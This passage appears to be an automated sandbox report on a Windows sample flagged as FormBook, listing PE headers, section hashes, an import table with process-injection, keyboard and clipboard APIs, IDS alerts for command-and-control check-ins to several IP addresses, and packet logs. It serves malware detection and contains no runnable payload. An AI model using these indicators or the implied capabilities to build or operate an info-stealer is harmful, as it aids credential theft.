jc 00007FBBDC94672Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T18:44:31.185960+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49711	137.175.33.56	80	TCP
2024-09-30T18:44:31.185960+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49711	137.175.33.56	80	TCP
2024-09-30T18:44:46.814759+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49713	3.33.130.190	80	TCP
2024-09-30T18:44:50.271880+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49714	3.33.130.190	80	TCP
2024-09-30T18:44:51.911631+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49715	3.33.130.190	80	TCP
2024-09-30T18:44:54.473989+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49716	3.33.130.190	80	TCP
2024-09-30T18:44:54.473989+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49716	3.33.130.190	80	TCP
2024-09-30T18:45:00.003802+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49717	3.33.130.190	80	TCP
2024-09-30T18:45:02.521743+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49718	3.33.130.190	80	TCP
2024-09-30T18:45:05.075570+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49719	3.33.130.190	80	TCP
2024-09-30T18:45:08.252588+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49720	3.33.130.190	80	TCP
2024-09-30T18:45:08.252588+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49720	3.33.130.190	80	TCP
2024-09-30T18:45:15.518326+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49721	188.114.96.3	80	TCP
2024-09-30T18:45:18.127639+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49722	188.114.96.3	80	TCP
2024-09-30T18:45:20.674358+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49723	188.114.96.3	80	TCP
2024-09-30T18:45:24.969888+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49724	188.114.96.3	80	TCP
2024-09-30T18:45:24.969888+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49724	188.114.96.3	80	TCP
2024-09-30T18:45:30.783978+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49725	31.31.196.17	80	TCP
2024-09-30T18:45:33.928191+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49726	31.31.196.17	80	TCP
2024-09-30T18:45:36.499997+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49727	31.31.196.17	80	TCP
2024-09-30T18:45:39.051168+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49728	31.31.196.17	80	TCP
2024-09-30T18:45:39.051168+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49728	31.31.196.17	80	TCP
2024-09-30T18:45:44.803733+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49729	3.33.130.190	80	TCP
2024-09-30T18:45:47.605022+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49730	3.33.130.190	80	TCP
2024-09-30T18:45:49.890046+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49731	3.33.130.190	80	TCP
2024-09-30T18:45:52.448504+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49732	3.33.130.190	80	TCP
2024-09-30T18:45:52.448504+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49732	3.33.130.190	80	TCP
2024-09-30T18:45:57.946440+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49733	3.33.130.190	80	TCP
2024-09-30T18:46:00.491065+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49734	3.33.130.190	80	TCP
2024-09-30T18:46:03.052545+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49735	3.33.130.190	80	TCP
2024-09-30T18:46:06.630905+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49736	3.33.130.190	80	TCP
2024-09-30T18:46:06.630905+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49736	3.33.130.190	80	TCP
2024-09-30T18:46:12.840052+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49737	199.192.21.169	80	TCP
2024-09-30T18:46:15.509966+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49738	199.192.21.169	80	TCP
2024-09-30T18:46:18.150197+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49739	199.192.21.169	80	TCP
2024-09-30T18:46:20.598814+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49740	199.192.21.169	80	TCP
2024-09-30T18:46:20.598814+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49740	199.192.21.169	80	TCP
2024-09-30T18:46:26.314021+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49741	3.33.130.190	80	TCP
2024-09-30T18:46:29.738124+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49742	3.33.130.190	80	TCP
2024-09-30T18:46:31.922116+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49743	3.33.130.190	80	TCP
2024-09-30T18:46:34.481837+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49744	3.33.130.190	80	TCP
2024-09-30T18:46:34.481837+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49744	3.33.130.190	80	TCP
2024-09-30T18:46:40.040590+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49745	188.114.96.3	80	TCP
2024-09-30T18:46:42.546070+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49746	188.114.96.3	80	TCP
2024-09-30T18:46:45.069786+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49747	188.114.96.3	80	TCP
2024-09-30T18:46:47.677651+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49748	188.114.96.3	80	TCP
2024-09-30T18:46:47.677651+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49748	188.114.96.3	80	TCP
2024-09-30T18:46:53.641925+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49749	84.32.84.32	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:44:30.576163054 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:30.581080914 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:30.581224918 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:30.590893984 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:30.595733881 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185806990 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185832024 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185849905 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185867071 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185879946 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185894012 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185909033 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.185960054 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.185997963 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.186395884 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.186435938 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.186439037 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.186454058 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.186481953 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.190866947 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.190907955 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.190923929 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.190965891 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.191095114 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.191109896 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.191138029 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.236773014 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.278289080 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278311968 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278327942 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278343916 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278359890 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278426886 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:31.278495073 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.278526068 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.284682989 CEST	49711	80	192.168.2.5	137.175.33.56
Sep 30, 2024 18:44:31.289812088 CEST	80	49711	137.175.33.56	192.168.2.5
Sep 30, 2024 18:44:46.350212097 CEST	49713	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:46.355654001 CEST	80	49713	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:46.355742931 CEST	49713	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:46.365623951 CEST	49713	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:46.370975018 CEST	80	49713	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:46.814681053 CEST	80	49713	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:46.814759016 CEST	49713	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:47.888940096 CEST	49713	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:47.893908024 CEST	80	49713	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:48.896158934 CEST	49714	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:48.901794910 CEST	80	49714	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:48.901941061 CEST	49714	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:48.912132978 CEST	49714	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:48.917016029 CEST	80	49714	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:50.271815062 CEST	80	49714	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:50.271879911 CEST	49714	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:50.424417019 CEST	49714	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:50.429369926 CEST	80	49714	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:51.442994118 CEST	49715	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:51.448775053 CEST	80	49715	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:51.448887110 CEST	49715	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:51.458947897 CEST	49715	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:51.464370012 CEST	80	49715	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:51.464402914 CEST	80	49715	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:51.911524057 CEST	80	49715	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:51.911631107 CEST	49715	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:52.971204042 CEST	49715	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:52.976264000 CEST	80	49715	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:53.997061014 CEST	49716	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:54.002799988 CEST	80	49716	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:54.002959967 CEST	49716	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:54.016280890 CEST	49716	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:54.021137953 CEST	80	49716	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:54.473778963 CEST	80	49716	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:54.473804951 CEST	80	49716	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:54.473989010 CEST	49716	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:54.476650953 CEST	49716	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:54.481699944 CEST	80	49716	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:59.507158041 CEST	49717	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:59.512171030 CEST	80	49717	3.33.130.190	192.168.2.5
Sep 30, 2024 18:44:59.512373924 CEST	49717	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:59.522563934 CEST	49717	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:44:59.527899027 CEST	80	49717	3.33.130.190	192.168.2.5
